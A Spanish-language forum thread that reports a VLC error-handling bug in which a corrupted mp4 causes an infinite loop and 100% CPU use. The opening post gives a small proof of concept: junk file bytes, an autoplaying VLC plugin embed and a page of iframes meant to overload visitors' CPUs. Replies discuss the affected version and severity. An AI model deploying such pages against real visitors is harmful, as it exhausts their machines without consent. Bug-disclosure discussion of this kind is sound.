Bug VLC en el manejo de errores

[Stakewinner00]

Buenas, hace poco me di cuenta de que VLC no maneja bien los errores produciendo un bucle infinito que sobrecarga la CPU. Lo peor es que esto ocurre también cuando cargas un video de VLC por html sobrecargando la CPU de el que la visite hasta el 100%.

No se si esto es realmente un fallo de seguridad o no o si es grave o no y por eso busco la opinión de terceras personas.

Paso a explicar rápidamente la POC que hice para probar si a la gente también se le colapsaba la CPU al visitar la web.

Primero cree un archivo mp4 corrupto que edite con el siguiente contenido inválido

AAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓

Luego cree un archivo html que cargaba dicho vieo

Código [Seleccionar] Expandir

<embed type="application/x-vlc-plugin" pluginspage="http://www.videolan.org" version="VideoLAN.VLCPlugin.2"  width="100%"  height="100%" id="vlc" loop="yes" autoplay="yes" target="a.mp4"></embed>

Una vez echo esto cree otro html que colocaba unos 4 iframes del archivo anterior

Código [Seleccionar] Expandir

<iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe>

Y el resultado fue el siguiente



Resulta algo penoso que un programa como VLC falle en el manejo de errores.

Saludos, espero sus opiniones.

[berz3k]

Que version del VLC estas asuando?

-berz3k.

[Stakewinner00]

Que version del VLC estas asuando?

-berz3k.

La más actualizada.

[ameise_1987]

el más actualizado segun los repositorios de debian weezy (?)


http://blog.scrt.ch/2013/07/24/vlc-abc-parsing-seems-to-be-a-ctf-challenge/

[Stakewinner00]

el más actualizado segun los repositorios de debian weezy (?)


http://blog.scrt.ch/2013/07/24/vlc-abc-parsing-seems-to-be-a-ctf-challenge/

Que interesante.
Gracias por compartir.

[cachacko]

¿Qué tan grave es el bug?